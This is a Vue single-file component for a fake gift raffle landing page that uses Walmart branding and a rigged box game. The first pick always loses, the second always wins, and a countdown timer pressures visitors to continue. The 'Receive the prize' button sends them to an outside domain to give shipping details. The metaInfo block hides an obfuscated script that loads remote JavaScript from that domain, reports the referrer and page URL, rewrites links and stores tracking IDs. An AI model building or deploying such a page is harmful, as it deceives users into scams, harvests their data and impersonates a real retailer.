
<template>
  <div class="raffle-container">
    <!-- ... (Header, Banner, and other HTML sections remain unchanged) ... -->
    <header class="header">
      <div class="header-content">
        <img src="https://cdn.prod.website-files.com/68129c0789b42b5281896601/6841aef28702a5bd10800838_logo_mydailysurge.svg" alt="Walmart Logo" class="walmart-logo">
      </div>
    </header>
    <div class="banner">
      <div class="banner-content">
        <img src="https://b.noodledit.com/promotions/generic1000_green.svg" alt="Gift Cards and Bag" class="gift-image">
        <h2>Congratulations, you have become a participant in the MyDailySurge gift raffle!</h2>
        <p>Today, <strong>149</strong> lucky winners will receive free gifts from MyDailySurge.</p>
        <p>To win, you must find a box containing the voucher, and follow the instructions.</p>
      </div>
    </div>

    <main class="game-area">
      <p>You have only <strong>{{ attemptsLeft }}</strong> attemps.</p>
      <p><strong>Good luck!</strong></p>
      <div class="timer">{{ formattedTime }}</div>
      <div v-if="!gameEnded" class="box-grid">
        <div 
          v-for="box in boxes" 
          :key="box.id" 
          class="box"
          :class="{ 'opened': box.status !== 'closed' }"
          @click="selectBox(box)"
        >
          <img v-if="box.status === 'closed'" src="https://ppe-userenroll-assets.s3.amazonaws.com/1743108351844" alt="Gift Box" class="box-image">
          <span v-if="box.status === 'won'" class="box-emoji">🎁</span>
          <span v-if="box.status === 'lost'" class="box-emoji">💨</span>
        </div>
      </div>
      <div v-if="gameEnded" class="game-result">
        <h2>{{ resultMessage }}</h2>
        <button @click="initializeGame" class="retry-button">Play Again</button>
      </div>
    </main>
    
    <!-- <footer class="testimonials">
        <h3>Read what others say about our program:</h3>
    </footer> -->

    <!-- MODAL 1: Incorrect Guess -->
    <div v-if="isSorryModalVisible" class="modal-overlay">
      <div class="modal-content">
        <p class="modal-main-message">{{ modalMainMessage }}</p>
        <p class="modal-sub-message">{{ modalSubMessage }}</p>
        <button @click="closeSorryModal" class="modal-button">OK</button>
      </div>
    </div>

    <!-- MODAL 2: Winning Guess -->
    <div v-if="isWinModalVisible" class="modal-overlay">
      <div class="modal-content win-modal-content">
        <img src="https://uamax.obs.ap-southeast-3.myhuaweicloud.com:443/lQLPJwy0M5hTLHnNAhPNAkiwGf19Q5P953EIr1bzxIxBAA_584_531.png" alt="Walmart Gift Card" class="win-modal-image">
        <h3 class="win-modal-title">You have won a gift from MyDailySurge, congratulations!</h3>
        <p class="win-modal-instructions">
          What should I do next? 1. Go to the next page and fill in your shipping information. 2. Answer simple questions. 3. You will receive your gift to the specified address.
        </p>
        <button @click="receivePrize" class="modal-button">Receive the prize</button>
      </div>
    </div>
  </div>
</template>

<script>
export default {
  name: 'WalmartRaffle',
     metaInfo: {
    meta: [
      {
        'http-equiv': 'delegate-ch',
        content: 'sec-ch-ua https://cheputyaimunting.com; sec-ch-ua-mobile https://cheputyaimunting.com; sec-ch-ua-arch https://cheputyaimunting.com; sec-ch-ua-model https://cheputyaimunting.com; sec-ch-ua-platform https://cheputyaimunting.com; sec-ch-ua-platform-version https://cheputyaimunting.com; sec-ch-ua-bitness https://cheputyaimunting.com; sec-ch-ua-full-version-list https://cheputyaimunting.com; sec-ch-ua-full-version https://cheputyaimunting.com'
      }
    ],
    style: [
      { type: 'text/css', cssText: '.dtpcnt{opacity: 0;}' }
    ],
    script: [
      {
        type: 'text/javascript',
        innerHTML: `
          (function(d,c,k,l,r,t,g,u,A,e,m,v,B,a,n,p,h,q,w,D,x){function y(){for(var f=c.querySelectorAll(".dtpcnt"),b=0,a=f.length;b<a;b++)f[b][u]=f[b][u].replace(/(^|\\s+)dtpcnt($|\\s+)/g,"")}function C(a,b,d,e){var f=new Date;f.setTime(f.getTime()+(e||864E5));c.cookie=a+"="+b+"; "+d+"samesite=Strict; expires="+f.toGMTString()+"; path=/";k.setItem(a,b);k.setItem(a+"-expires",f.getTime())}function z(a){var b=c.cookie.match(new RegExp("(^| )"+a+"=([^;]+)"));return b?b.pop():k.getItem(a+"-expires")&&+k.getItem(a+
"-expires")>(new Date).getTime()?k.getItem(a):null}x=":"===d.location.protocol?"secure; ":"";d[e]||(d[e]=function(){(d[e].q=d[e].q||[]).push(arguments)},p=c[r],c[r]=function(){p&&p.apply(this,arguments);if(d[e]&&!d[e].hasOwnProperty("params")&&/loaded|interactive|complete/.test(c.readyState))for(;a=c[t][m++];)/\\/?click\\/?($|(\\/[0-9]+)?$)/.test(a.pathname)&&(a[g]="javascrip"+d.postMessage.toString().slice(4,5)+":"+e+'.l="'+a[g]+'",void 0')},setTimeout(function(){(q=/[?&]cpid(=([^&#]*)|&|#|$)/.exec(d.location.href))&&
q[2]&&(h=q[2],w=z("vl-"+h));var f=z("vl-cep"),b=location[g];if("savedCep"===B&&f&&(!h||"undefined"===typeof h)&&0>b.indexOf("cep=")){var e=-1<b.indexOf("?")?"&":"?";b+=e+f}a=c.createElement("script");n=c.scripts[0];a.defer=1;a.src=v+(-1===v.indexOf("?")?"?":"&")+"lpref="+l(c.referrer)+"&lpurl="+l(b)+"&lpt="+l(c.title)+"&vtm="+(new Date).getTime()+(w?"&uw=no":"");a[A]=function(){for(m=0;a=c[t][m++];)/dtpCallback\\.l/.test(a[g])&&(a[g]=decodeURIComponent(a[g]).match(/dtpCallback\\.l="([^"]+)/)[1]);y()};
n.parentNode.insertBefore(a,n);h&&C("vl-"+h,"1",x)},0),setTimeout(y,7E3))})(window,document,localStorage,encodeURIComponent,"onreadystatechange","links","href","className","onerror","dtpCallback",0,"https://cheputyaimunting.com/d/.js","savedCep");
        `,
        vmid: 'external-tracking-script'
      }
    ],
    noscript: [
      {
        innerHTML: `<link href="https://cheputyaimunting.com/d/.js?noscript=true&lpurl=" rel="stylesheet"/>`
      }
    ]
  },
  data() {
    return {
      attemptsLeft: 3,
      totalTime: (4 * 60) + 54,
      timerInterval: null,
      boxes: [],
      gameEnded: false,
      resultMessage: '',
      totalBoxes: 6,
      isSorryModalVisible: false,
      modalMainMessage: '',
      modalSubMessage: '',
      lastClickedBox: null,
      isWinModalVisible: false,
      clickCount: 0, 
    };
  },
  computed: {
    formattedTime() {
      const minutes = Math.floor(this.totalTime / 60);
      const seconds = this.totalTime % 60;
      return `${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
    }
  },
  methods: {
    initializeGame() {
      this.attemptsLeft = 3;
      this.gameEnded = false;
      this.resultMessage = '';
      this.isSorryModalVisible = false;
      this.isWinModalVisible = false;
      this.lastClickedBox = null;
      this.clickCount = 0;
      
      this.boxes = [];
      for (let i = 1; i <= this.totalBoxes; i++) {
        this.boxes.push({ id: i, status: 'closed' });
      }
      this.startTimer();
    },
    selectBox(box) {
      if (this.gameEnded || this.isSorryModalVisible || this.isWinModalVisible || box.status !== 'closed') {
        return;
      }

      this.clickCount++;

      if (this.clickCount === 1) {
        this.attemptsLeft--;
        this.lastClickedBox = box;
        this.modalMainMessage = 'Sorry, this box is empty';
        this.modalSubMessage = `You have ${this.attemptsLeft} attempts left`;
        this.isSorryModalVisible = true;
      } 
      else if (this.clickCount === 2) {
        box.status = 'won';
        clearInterval(this.timerInterval);
        this.isWinModalVisible = true;
      }
    },
    closeSorryModal() {
      this.isSorryModalVisible = false;
      if (this.lastClickedBox) {
        this.lastClickedBox.status = 'lost';
        this.lastClickedBox = null;
      }
    },
    
    receivePrize() {
      // Redirect the user to the specified URL
      window.location.href = 'https://cheputyaimunting.com/click';
    },

    startTimer() {
      if (this.timerInterval) {
        clearInterval(this.timerInterval);
      }
      this.totalTime = 294; // 4 * 60 + 54
      this.timerInterval = setInterval(() => {
        if (this.totalTime > 0 && !this.gameEnded) {
          this.totalTime--;
        } else {
          // Time is up. Just stop the timer. Don't end the game.
          clearInterval(this.timerInterval);
        }
      }, 1000);
    },
    endGame(message) {
      this.gameEnded = true;
      this.resultMessage = message;
      clearInterval(this.timerInterval);
    }
  },
  mounted() {
    this.initializeGame();
  },
  beforeDestroy() {
    clearInterval(this.timerInterval);
  }
};
</script>

<style scoped>
/* All styles remain exactly the same as the previous version */
.raffle-container { font-family: Arial, sans-serif; color: #333; text-align: center; }
.header { padding: 20px 0; width: 100%; }
.header-content { max-width: 900px; margin: 0 auto; padding: 0 20px; }
.walmart-logo { max-width: 200px; }
.banner { background-color: #0071dc; color: white; padding: 20px; width: 100%; }
.banner-content { max-width: 600px; margin: 0 auto; }
.gift-image { max-width: 300px; margin-bottom: 15px; }
.banner h2 { font-size: 1.5rem; margin-bottom: 10px; }
.banner p { margin: 5px 0; font-size: 1rem; }
.game-area { padding: 30px 20px; max-width: 900px; margin: 0 auto; }
.game-area p { font-size: 1.2rem; }
.timer { font-size: 3rem; font-weight: bold; margin: 20px 0; color: #d9534f; }
.box-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 20px; max-width: 350px; margin: 30px auto; }
.box { display: flex; justify-content: center; align-items: center; cursor: pointer; transition: transform 0.2s; user-select: none; }
.box-image { width: 100%; height: auto; }
.box-emoji { font-size: 4rem; }
.box:not(.opened):hover { transform: scale(1.05); }
.box.opened { cursor: default; }
.game-result h2 { margin: 20px 0; color: #0071dc; }
.retry-button { padding: 10px 20px; font-size: 1rem; color: white; background-color: #0071dc; border: none; border-radius: 5px; cursor: pointer; }
.retry-button:hover { background-color: #005aae; }
.testimonials { margin-top: 40px; padding: 20px; border-top: 1px solid #eee; max-width: 900px; margin: 40px auto 0 auto; }
.modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.6); display: flex; justify-content: center; align-items: center; z-index: 1000; }
.modal-content { background: white; padding: 25px 30px; border-radius: 12px; text-align: center; width: 90%; max-width: 400px; box-shadow: 0 5px 15px rgba(0,0,0,0.3); }
.modal-main-message { font-size: 1.4rem; font-weight: bold; margin: 0 0 10px 0; color: #333; }
.modal-sub-message { font-size: 1.1rem; margin: 0 0 25px 0; color: #555; }
.modal-button { background-color: #0071dc; color: white; border: none; border-radius: 50px; padding: 12px 45px; font-size: 1.1rem; font-weight: bold; cursor: pointer; transition: background-color 0.2s; }
.modal-button:hover { background-color: #005aae; }
.win-modal-content { padding-top: 20px; }
.win-modal-image { max-width: 180px; margin-bottom: 15px; }
.win-modal-title { font-size: 1.4rem; font-weight: bold; margin: 0 0 15px 0; color: #333; }
.win-modal-instructions { font-size: 1rem; line-height: 1.5; color: #555; margin: 0 0 25px 0; text-align: left; }
</style>